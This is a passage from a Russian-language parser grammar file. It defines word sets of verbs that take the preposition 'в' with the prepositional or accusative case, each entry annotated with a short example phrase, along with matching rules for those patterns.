rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь 